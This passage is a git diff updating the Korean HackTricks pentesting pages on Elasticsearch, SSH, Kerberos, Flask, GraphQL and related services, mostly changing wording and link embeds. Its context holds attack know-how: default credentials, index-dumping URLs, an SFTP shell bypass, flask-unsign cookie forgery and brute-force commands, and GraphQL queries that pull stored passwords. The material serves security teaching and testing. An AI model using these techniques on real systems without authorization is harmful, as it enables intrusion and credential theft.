하여 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK Stack이라고 하며, Logstash와 Kibana도 포함되어 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 가지고 있습니다. ### Elasticsearch 인덱스란 무엇인가? @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -인증이 구성되어 있으며 **유효한 자격 증명**이 필요하다는 의미입니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-hacking/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 BF HTTP 기본 인증을 사용할 수 있습니다).\ +인증이 구성되어 있으며 **유효한 자격 증명**이 필요하다는 의미입니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-hacking/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 HTTP 기본 인증을 BF할 수 있는 모든 것이 사용될 수 있습니다).\ 여기 **기본 사용자 이름 목록**이 있습니다: _**elastic** (슈퍼유저), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ 이전 버전의 Elasticsearch는 이 사용자에 대해 기본 비밀번호 **changeme**를 가지고 있습니다. ``` curl -X GET http://user:password@IP:9200/ @@ -86,7 +86,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -이 엔드포인트는 [**문서에서 가져온 것입니다**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) 여기에서 **더 많은 정보를** 찾을 수 있습니다.\ +이 엔드포인트는 [**문서에서 가져온 것입니다**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) 여기에서 **더 많은** 정보를 **찾을 수 있습니다**.\ 또한, `/_cat`에 접근하면 응답에는 인스턴스에서 지원하는 `/_cat/*` 엔드포인트가 포함됩니다. `/_security/user`에서 (인증이 활성화된 경우) 어떤 사용자가 `superuser` 역할을 가지고 있는지 확인할 수 있습니다. @@ -112,14 +112,14 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 _은행 인덱스 내 각 문서(항목)의 내용을 비교하고 이전 섹션에서 본 이 인덱스의 필드를 확인해 보세요._ -이 시점에서 **"hits" 안에 "total"이라는 필드가 있어 이 인덱스 내에 **1000개의 문서가 발견되었지만** 10개만 검색되었다는 것을 알 수 있습니다. 이는 **기본적으로 10개의 문서에 제한이 있기 때문입니다.**\ -하지만 이제 이 인덱스에 **1000개의 문서가 포함되어 있다는 것을 알았으므로**, **덤프할 문서 수를 `size` 매개변수에 지정하여 모든 문서를 덤프할 수 있습니다**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_참고: 더 큰 숫자를 지정하면 모든 항목이 덤프됩니다. 예를 들어 `size=9999`를 지정할 수 있으며, 더 많은 항목이 있을 경우 이상할 것입니다(하지만 확인해야 합니다)._ +이 시점에서 **"hits" 안에 "total"이라는 필드가 있어 이 인덱스 내에 1000개의 문서가 발견되었지만 10개만 검색되었다는 것을 알 수 있습니다.** 이는 **기본적으로 10개의 문서에 제한이 있기 때문입니다.**\ +하지만 이제 이 **인덱스에 1000개의 문서가 포함되어 있다는 것을 알았으므로**, **`size`** 매개변수에 덤프할 항목 수를 지정하여 **모두 덤프할 수 있습니다**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ +\&#xNAN;_참고: 더 큰 숫자를 지정하면 모든 항목이 덤프됩니다. 예를 들어 `size=9999`를 지정할 수 있으며, 더 많은 항목이 있을 경우 이상할 수 있습니다(하지만 확인해야 합니다)._ ### 모두 덤프 모두 덤프하려면 **이전과 동일한 경로로 가되 인덱스를 지정하지 않고** `http://host:9200/_search?pretty=true`에 접근하면 됩니다. 예를 들어 `http://10.10.10.115:9200/_search?pretty=true`와 같습니다.\ -이 경우 **기본적으로 10개의 결과 제한**이 적용됩니다. `size` 매개변수를 사용하여 **더 많은 결과를 덤프**할 수 있습니다. 더 많은 정보는 이전 섹션을 참조하세요. +이 경우 **기본적으로 10개의 결과에 제한이 적용됩니다.** `size` 매개변수를 사용하여 **더 많은 결과를 덤프할 수 있습니다.** 더 많은 정보는 이전 섹션을 참조하세요. ### 검색 @@ -161,11 +161,12 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` -{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} +{{#ref}} +https://github.com/theMiddleBlue/nmap-elasticsearch-nse +{{#endref}} ## Shodan - `port:9200 elasticsearch` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index d660bbab9..56c9f46cb 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -4,7 +4,9 @@ # **기본 비밀번호** -{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} +{{#ref}} +http://www.vulnerabilityassessment.co.uk/passwordsC.htm +{{#endref}} # 구성 파일 ```text diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index e806bf2d3..0cee75e26 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -6,7 +6,7 @@ **Kerberos**는 사용자의 리소스 접근을 직접 관리하지 않고 인증하는 원칙에 따라 작동합니다. 이는 프로토콜의 보안 프레임워크에서의 역할을 강조하는 중요한 구분입니다. -**Active Directory**와 같은 환경에서 **Kerberos**는 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 사용자가 네트워크 리소스와 상호작용하기 전에 각 사용자의 신원이 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다. +**Active Directory**와 같은 환경에서 **Kerberos**는 사용자의 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 사용자가 네트워크 리소스와 상호작용하기 전에 각 사용자의 신원이 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다. **Kerberos**에 의한 인증 후, 리소스 접근에 대한 의사 결정 과정은 네트워크 내 개별 서비스에 위임됩니다. 이러한 서비스는 **Kerberos**가 제공하는 사용자 권한에 대한 정보를 바탕으로 인증된 사용자의 권리와 권한을 평가할 책임이 있습니다. 이 설계는 사용자의 신원을 인증하는 것과 접근 권한을 관리하는 것 간의 관심사를 분리하여 분산 네트워크에서 리소스 관리를 보다 유연하고 안전하게 접근할 수 있도록 합니다. @@ -27,7 +27,9 @@ PORT STATE SERVICE MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 높은 권한을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다. -{% embed url="https://adsecurity.org/?p=541" %} +{{#ref}} +https://adsecurity.org/?p=541 +{{#endref}} 기타 익스플로잇: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 5653b52a1..a14aae1b6 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ## 기본 정보 -**SSH (Secure Shell 또는 Secure Socket Shell)**은 보안이 없는 네트워크를 통해 컴퓨터에 안전하게 연결할 수 있는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다. +**SSH (Secure Shell 또는 Secure Socket Shell)**은 보안이 없는 네트워크를 통해 컴퓨터에 안전하게 연결할 수 있도록 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다. **기본 포트:** 22 ``` @@ -21,9 +19,9 @@ **SSH 라이브러리 (서버 측 구현):** -- [libssh](https://www.libssh.org) – SSHv2 프로토콜을 구현하는 다중 플랫폼 C 라이브러리, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) 및 [R](https://github.com/ropensci/ssh)에서 바인딩됨; KDE에서 sftp에 사용되며 GitHub에서 git SSH 인프라에 사용됨 +- [libssh](https://www.libssh.org) – SSHv2 프로토콜을 구현하는 다중 플랫폼 C 라이브러리, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) 및 [R](https://github.com/ropensci/ssh)에서 바인딩됨; KDE의 sftp와 GitHub의 git SSH 인프라에서 사용됨 - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C로 작성된 SSHv2 서버 라이브러리, 임베디드, RTOS 및 자원이 제한된 환경을 목표로 함 -- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache MINA를 기반으로 한 Apache SSHD 자바 라이브러리 +- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD 자바 라이브러리는 Apache MINA를 기반으로 함 - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 프로토콜 라이브러리 ## 열거 @@ -38,7 +36,7 @@ ssh-audit는 ssh 서버 및 클라이언트 구성 감사를 위한 도구입니 [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit)은 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)의 업데이트된 포크입니다. -**기능:** +**특징:** - SSH1 및 SSH2 프로토콜 서버 지원; - SSH 클라이언트 구성 분석; @@ -97,7 +95,7 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a ### 사용자 이름 열거 -일부 OpenSSH 버전에서는 타이밍 공격을 사용하여 사용자를 열거할 수 있습니다. 이를 이용하기 위해 메타스플로잇 모듈을 사용할 수 있습니다: +일부 OpenSSH 버전에서는 타이밍 공격을 통해 사용자를 열거할 수 있습니다. 이를 이용하기 위해 메타스플로잇 모듈을 사용할 수 있습니다: ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -115,17 +113,19 @@ https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` -또는 `ssh-keybrute.py` (네이티브 python3, 경량이며 레거시 알고리즘이 활성화됨)를 사용할 수 있습니다: [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). +또는 `ssh-keybrute.py` (네이티브 파이썬3, 경량이며 레거시 알고리즘이 활성화됨)를 사용할 수 있습니다: [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### 알려진 나쁜 키는 여기에서 찾을 수 있습니다: -{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} +{{#ref}} +https://github.com/rapid7/ssh-badkeys/tree/master/authorized +{{#endref}} #### 약한 SSH 키 / Debian 예측 가능한 PRNG 일부 시스템은 암호화 자료를 생성하는 데 사용되는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키 공간이 극적으로 줄어들어 무차별 대입 공격을 받을 수 있습니다. 약한 PRNG의 영향을 받는 Debian 시스템에서 생성된 미리 생성된 키 세트는 여기에서 사용할 수 있습니다: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -희생자 머신의 유효한 키를 검색하려면 여기에서 찾아야 합니다. +희생자 머신에 대한 유효한 키를 검색하려면 여기를 확인해야 합니다. ### Kerberos @@ -184,12 +184,12 @@ SSH-Snake는 다음 작업을 자동으로 재귀적으로 수행합니다: SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은 일반적이며, 이는 상당한 보안 위험을 초래합니다. **루트 로그인을 비활성화하는 것**은 서버 보안을 강화하는 중요한 단계입니다. 관리 권한으로의 무단 접근 및 무차별 대입 공격을 완화할 수 있습니다. -**OpenSSH에서 루트 로그인 비활성화:** +**OpenSSH에서 루트 로그인을 비활성화하려면:** -1. `sudoedit /etc/ssh/sshd_config`로 SSH 구성 파일을 **편집합니다**. -2. `#PermitRootLogin yes`에서 **`PermitRootLogin no`**로 **설정을 변경합니다**. -3. `sudo systemctl daemon-reload`를 사용하여 **구성을 다시 로드합니다**. -4. 변경 사항을 적용하기 위해 SSH 서버를 **재시작합니다**: `sudo systemctl restart sshd`. +1. `sudoedit /etc/ssh/sshd_config`로 SSH 구성 파일을 편집합니다. +2. 설정을 `#PermitRootLogin yes`에서 **`PermitRootLogin no`**로 변경합니다. +3. `sudo systemctl daemon-reload`를 사용하여 구성을 다시 로드합니다. +4. 변경 사항을 적용하기 위해 SSH 서버를 재시작합니다: `sudo systemctl restart sshd` ### SFTP 무차별 대입 @@ -197,7 +197,7 @@ SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은 ### SFTP 명령 실행 -SFTP 설정에서 일반적인 간과가 발생하는데, 관리자가 사용자가 원격 셸 접근을 활성화하지 않고 파일을 교환하도록 의도하는 경우입니다. 비대화형 셸(예: `/usr/bin/nologin`)로 사용자를 설정하고 특정 디렉토리에 제한하더라도 보안 허점이 남아 있습니다. **사용자는 로그인 직후 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다** (예: `/bin/bash`), 비대화형 셸이 차지하기 전에. 이는 무단 명령 실행을 허용하여 의도된 보안 조치를 약화시킵니다. +SFTP 설정에서 일반적인 간과가 발생하는데, 관리자가 사용자가 원격 셸 접근을 활성화하지 않고 파일을 교환하도록 의도할 때입니다. 비대화형 셸(예: `/usr/bin/nologin`)로 사용자를 설정하고 특정 디렉토리에 제한하더라도 보안 허점이 남아 있습니다. **사용자는 로그인 직후 비대화형 셸이 차지하기 전에 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다** (예: `/bin/bash`). 이는 무단 명령 실행을 허용하여 의도된 보안 조치를 약화시킵니다. [여기에서의 예시](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -222,7 +222,7 @@ debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` -여기 사용자 `noraj`를 위한 안전한 SFTP 구성 예시입니다 (`/etc/ssh/sshd_config` – openSSH): +다음은 사용자 `noraj`에 대한 보안 SFTP 구성 예시입니다 (`/etc/ssh/sshd_config` – openSSH): ``` Match User noraj ChrootDirectory %h @@ -252,7 +252,7 @@ sftp> symlink / froot ### 인증 방법 -높은 보안 환경에서는 단순한 비밀번호 기반 인증 대신 키 기반 또는 이중 인증만 활성화하는 것이 일반적인 관행입니다. 그러나 종종 더 강력한 인증 방법이 활성화되면서 약한 방법이 비활성화되지 않는 경우가 많습니다. 일반적인 사례는 openSSH 구성에서 `publickey`를 활성화하고 이를 기본 방법으로 설정하지만 `password`를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 자세한 모드를 사용하면 공격자는 약한 방법이 활성화되어 있음을 확인할 수 있습니다: +높은 보안 환경에서는 단순한 비밀번호 기반 인증 대신 키 기반 또는 이중 인증만 활성화하는 것이 일반적인 관행입니다. 그러나 종종 더 강력한 인증 방법이 활성화되면서 약한 방법이 비활성화되지 않는 경우가 많습니다. 자주 발생하는 경우는 openSSH 구성에서 `publickey`를 활성화하고 이를 기본 방법으로 설정하지만 `password`를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 자세한 모드를 사용하면 공격자가 약한 방법이 활성화되어 있음을 확인할 수 있습니다: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 @@ -276,17 +276,17 @@ ssh_known_hosts known_hosts id_rsa ``` -## Fuzzing +## 퍼징 - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) -## References +## 참고문헌 - SSH를 강화하는 방법에 대한 흥미로운 가이드를 [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)에서 찾을 수 있습니다. - [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) -## HackTricks Automatic Commands +## HackTricks 자동 명령 ``` Protocol_Name: SSH Port_Number: 22 diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index 134d88936..ed18af6df 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -4,6 +4,8 @@ 버킷을 열거하고 악용하는 방법에 대해 더 알고 싶다면 이 페이지를 확인하세요: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 71c4895ef..37d7d0ad3 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -4,10 +4,12 @@ ## Firebase란 무엇인가 -Firebase는 주로 모바일 애플리케이션을 위한 Backend-as-a-Service입니다. 이는 애플리케이션과 백엔드 간의 상호작용을 용이하게 하는 멋진 SDK와 많은 다른 흥미로운 기능을 제공하여 백엔드 프로그래밍의 부담을 덜어주는 데 중점을 두고 있습니다. +Firebase는 주로 모바일 애플리케이션을 위한 Backend-as-a-Service입니다. 이는 애플리케이션과 백엔드 간의 상호작용을 용이하게 하는 멋진 SDK와 여러 가지 흥미로운 기능을 제공하여 백엔드 프로그래밍의 부담을 덜어주는 데 중점을 두고 있습니다. Firebase에 대해 더 알아보려면: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index 0fd230958..dea42617e 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -15,7 +15,9 @@ cachedArchives[p].destroy() } }) ``` -{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} +{{#ref}} +https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36 +{{#endref}} ![](<../../../images/image (1070).png>) diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 7719fe793..07741f3f7 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -24,7 +24,9 @@ echo "ImhlbGxvIg" | base64 -d Flask 애플리케이션의 세션 쿠키를 가져오고, 디코드하고, 무차별 대입 공격을 수행하며, 비밀 키를 추측하여 제작하는 명령줄 도구입니다. -{% embed url="https://pypi.org/project/flask-unsign/" %} +{{#ref}} +https://pypi.org/project/flask-unsign/ +{{#endref}} ```bash pip3 install flask-unsign ``` @@ -46,9 +48,11 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -flask-unsign으로 제작된 쿠키를 사용하여 웹사이트를 무차별 대입하는 명령줄 도구입니다. +쿠키를 사용하여 웹사이트를 무차별 대입 공격하는 명령줄 도구로, flask-unsign으로 제작되었습니다. -{% embed url="https://github.com/Tagvi/ripsession" %} +{{#ref}} +https://github.com/Tagvi/ripsession +{{#endref}} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 18f5920f1..7209cb73e 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} - ## Introduction -GraphQL은 **효율적인 대안**으로 **REST API**에 강조되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. +GraphQL은 **효율적인 대안**으로 **REST API**에 주목받고 있으며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. ## GraphQL과 보안 -GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다**. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면, GraphQL 엔드포인트는 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다. +GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 것입니다. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다. ### 디렉토리 브루트 포스 공격과 GraphQL @@ -24,7 +23,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취 - `/graphql/api` - `/graphql/graphql` -열린 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근할 수 있는 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### 지문 인식 @@ -32,7 +31,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취 #### 유니버설 쿼리 -URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면, 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인합니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다. +URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다. ```javascript query{__typename} ``` @@ -46,7 +45,7 @@ Graphql은 일반적으로 **GET**, **POST** (x-www-form-urlencoded) 및 **POST* ```bash query={__schema{types{name,fields{name}}}} ``` -이 쿼리를 사용하면 사용 중인 모든 유형의 이름을 찾을 수 있습니다: +이 쿼리를 사용하면 사용 중인 모든 유형의 이름을 찾을 수 있습니다: ![](<../../images/image (1036).png>) ```bash @@ -66,10 +65,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy ``` ![](<../../images/image (416).png>) -**인스턴스화를 통한 데이터베이스 스키마 열거** +**인스펙션을 통한 데이터베이스 스키마 열거** > [!NOTE] -> 인스턴스화가 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시어를 제거해 보십시오. +> 인스펙션이 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시어를 제거해 보십시오. ```bash #Full introspection query @@ -173,11 +172,11 @@ name 이제 데이터베이스에 어떤 종류의 정보가 저장되어 있는지 알았으니, **값을 추출해 보겠습니다**. -인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"이 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나가 "_flags_"라는 것을 볼 수 있습니다. 이는 또한 객체의 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다. +인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"은 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나는 "_flags_"로, 이것도 객체 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -쿼리 "_flags_"의 유형이 "_Flags_"라는 점에 유의하세요. 이 객체는 아래와 같이 정의됩니다: +쿼리 "_flags_"의 유형이 "_Flags_"임을 주목하세요. 이 객체는 아래와 같이 정의됩니다: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) @@ -194,7 +193,7 @@ query={flags{name, value}} query = { hiddenFlags } ``` 다른 예에서 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\ -이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: +이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 요청하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: ![](<../../images/image (880).png>) @@ -205,9 +204,9 @@ query = { hiddenFlags } 어떤 식으로든 "_**uid**_" 타입 _**Int**_의 인수를 사용하여 검색하는 것 같습니다.\ 어쨌든, 우리는 이미 [Basic Enumeration](graphql.md#basic-enumeration) 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었다는 것을 알고 있었습니다: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -제가 그 쿼리를 실행했을 때 제공된 이미지를 읽어보면 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다. +제가 제공한 이미지를 읽어보면, 그 쿼리를 실행했을 때 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다. -그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호가 검색되었습니다:\ +그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호를 검색할 수 있었습니다:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) @@ -216,15 +215,15 @@ query = { hiddenFlags } ![](<../../images/image (707).png>) -그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 